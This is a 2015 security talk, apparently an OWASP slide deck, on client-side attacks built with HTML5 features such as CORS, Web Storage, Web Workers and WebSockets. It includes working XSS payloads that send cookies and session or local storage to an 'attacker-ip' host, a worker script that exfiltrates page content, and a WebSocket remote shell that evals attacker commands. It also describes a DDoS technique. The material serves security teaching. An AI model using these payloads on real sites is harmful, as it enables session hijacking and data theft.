May 10, 2015
Building Client-Side Attacks with <HTML5> features
Tiago Ferreira [email protected]
AGENDA
ABOUT ME
• Almost 4 years working with IT network devices and 5
years with security (MSS, Pentest, VA, etc).
• Focus on Web Application vulnerabilities exploitation.
• Security analyst at CONVISO Application Security.
• Member of the research group Alligator Security Team.
A few words about Same Origin Policy
• Perhaps the most important security concept within modern browsers.
• The policy permits scripts running on pages originating from the same
site to access each other‘s.
• Prevents access to most methods and properties across pages on
different sites.
• An origin is defined by the protocol, host/domain, and port of a URL:
o http://www.example.com/dir/page.html
o https://www.example.com/dir/page2.html
o http://www.example.com:8080/dir/page.html
o http://en.example.com/dir/other.html
• In practice, there is no single same-origin policy:
o DOM access, XMLHttpRequest, Cookies, Flash, Java. Silverlight,
etc
HTML5 Overview
• The Hypertext Markup Language version 5 (HTML5) is the
successor of HTML 4.01, XHTML 1.0 and XHTML 1.1.
• It brings several new technologies to the browser which have
never been, such as:
o New DOM interfaces
o New forms elements
o Enhanced XHR (Level 2)
o Web Storage
o Web Socket
o Web Workers
o File API
o Many new attributes
• HTML5 provides new features to web applications but also
introduces new security issues.
CORS - (Cross-Origin
Resource Sharing)
CORS
• CORS is a web browser technology that enables client-side API
to make cross-origin requests to external resources.
• New HTTP header is defined "Access-Control-Allow-Origin" .
• First the UA makes the request to the foreign domain and then
checks the access control based on the returned Access-Control-
Allow-Origin header.
• The decision whether the API (XMLHttpRequest) is allowed to
access foreing domains is made in UA.
HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html
Access-Control-Allow-Origin: http://example.com/
CORS
• Potential threats
o Information gathering
- Response time based intranet scanning
o Universal Allow
- Bypass access control
o Remote attacking a web server
- UA can be used to attack another web server
o DDoS attacks combined with Web Workers
Web Storage
Web Storage
• Web Storage gives websites the possibility to store data on the
user's browser. The information can be accessed later using
JavaScript.
• Web storage offers two different storage areas:
o Local Storage
o Session Storage
• Web storage provides far greater storage capacity (depends on
browser between 5MB to 10MB).
• It is supported by: Internet Explorer 8, Mozilla-based browsers
(e.g., Firefox 2+, officially from 3.5), Safari 4, Google Chrome 4
(sessionStorage is from 5), Opera 10.50.
localStorage
• Data placed in local storage is per domain and persists after the
browser is closed.
• To store value on the browser:
o localStorage.setItem(key, value);
• To read value stored on the browser;
o localStorage.getItem(key);
• Security considerations:
o Sensitive data can be stolen;
o Data can be spoofed;
o Persistent attack vectors.
sessionStorage
• Session storage is per-page-per-window and is limited to the
lifetime of the window.
• Store value on the browser:
o sessionStorage.setItem('key', 'value');
• Read value stored on the browser:
o sessionStorage.getItem(key);
• Security considerations:
o There’s no ‘path’ atribute;
o There’s no ‘httpOnly’ atribute;
o Session hijacking (xss, session fixation).
Attack: Session hijacking using XSS
• Old XSS payload to get cookies
var a=new Image(); a.src=“http://attacker-ip/cookie=“ + document.cookie;
• New XSS payload
var a=new Image(); a.src=“http://attacker-ip/cookie=“+
sessionStorage.getItem(‘SessionID’);
Attack: Session hijacking using XSS
<script>
for(var i = 0; i < sessionStorage.length; i++){
var key = sessionStorage.key(i);
var a = new Image();
a.src="http://attacker-ip/Storage.html?key=" + key +
"&value=" + sessionStorage.getItem(key);
}
</script>
DEMO
Attack: Stealing HTML5 localStorage
<script>
for(var i = 0; i < localStorage.length; i++){
var key = localStorage.key(i);
var a = new Image();
a.src="http://attacker-ip/Storage.html?key=" + key +
“ &value=" + localStorage.getItem(key);
}
</script>
DEMO
Web workers
• API for spawning background scripts in web
application via JavaScript.
o Real OS-level threads and concurrency.
o Managed communication through posting
messages to background worker.
• Web Workers run in an isolated thread.
• Workers do NOT have access to: DOM, window,
document, and parent objects.
• Security validation based in same-origin principle.
Web workers
Spawning a worker
http://owasp.org/index.html
http://owasp.org/worker.js
self.onmessage = function(event){
self.postMessage('Hello World');
};
a
<script>
var worker = new Worker("worker.js");
worker.onmessage = function(event){
document.getElementById('response„).t
extContet = event.data
};
worker.postMessage();
</script>
…
<pre id=“response” value=“ “>
Workers – Available features
• The location object (read-only).
• The navigator object
• setTimeout()/clearTimeout() and setInterval()/clearInterval().
• Spawning other web workers.
• postMessage()
o send data to worker (strings, JSON object, etc).
• Event support (addEventListener, dispatchEvent, removeEventLlistener).
• importScripts
o importScript(‘http://external.com/script.js’).
• XMLHttpRequests.
Sending data to worker
<script>
var worker = new
Worker("worker.js");
worker.onmessage =
function(event){
document.getElementById('respo
nse„).textContet = event.data;
};
worker.postMessage(„Hello
OWASP Floripa`);
</script>
self.onmessage = function(event){
self.postMessage(event);
};
http://owasp.org/index.html
http://owasp.org/worker.js
Attack: Bypass SOP with importScripts()
• Workers makes a natural sandbox for running untrusted code.
• Workers can’t access page content.
• ImportScripts() permits run thirdy party code in your domain.
onmessage=function(e){
importScripts(e.data);
postMessage(this[„someUnt
rustedFunction‟]());
}
var sandbox=new Worker(„sandbox.js‟)
sandbox.postMessage(„http://external.sit
e/badguy.js‟);
http://owasp.org/teste.js
http://owasp.org/sandbox.js
Attack: Bypass SOP with importScripts()
• But workers can run XMLHttpRequests
o Script is running in the domain of the parent page.
(http:/owasp.org/teste.js).
o Can read any content on your domain.
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://owasp.org/index.html', true);
xhr.send();
xhr.onreadystatechange = function(remote_data){
if (remote_data.target.readyState == 4){
var remote_data = remote_data.target.responseText;
importScripts('http://external.site/remote-page-content=' +
remote_data);
};
};
http://external.site/badguy.js
DEMO
Attack: DDoS with CORS and Web Workers
• Start a WebWorker that would fire multiple Cross Origin
Requests at the target.
• Thanks CORS that can send GET/POST requests to
any website.
• Sending a cross domain GET request is nothing new
(IMG tag or SCRIPT).
• So simply by getting someone to visit a URL you can
get them to send 10,000 HTTP requests/minute.
• Can be spread with social engineering techniques
(malicious URL, XSS vulnerabilities).
Attack: DDoS with CORS and Web Workers
XSS victims
Vulnerable XSS web site
Target Web Site
Attacker injects XSS payloadDEMO
Web Sockets
Web Sockets
• Web Sockets is a web technology that provides bi-directional,
full-duplex communications channels over a single TCP
connection.
• The connection is established by upgrading from the HTTP to the
Web Socket protocol.
• Web servers are now able to send content to the browser without
being solicited by the client, wich allows messages to be passed
back and forth while keeping the connection open.
• URI Scheme: ws:// and wss://
• Threats that can be exploited:
o Remote Shell, Web-Based Botnet, Port scanning
Web Sockets
Web Sockets – XSS Shell
<script>
var connection = new WebSocket('ws://attacker-ip:port');
connection.onopen = function (){
connection.send(„null‟);
};
connection.onmessage = function(event){
eval(event.data);
};
</script>
DEMO
References
• The Websocket Protocol (http://tools.ietf.org/html/rfc6455)
• Web Workers (http://www.w3.org/TR/workers/)
• Web Storage (http://www.w3.org/TR/webstorage/)
• Attack & Defense Labs (http://blog.andlabs.org/)
• HTML5 Rocks (http://www.html5rocks.com/).
• HTML5 Web Security - Michael Schmidt
• The World According to KOTO (http://blog.kotowicz.net/)
• Shreeraj's security blog (http://shreeraj.blogspot.in/)
Questions ?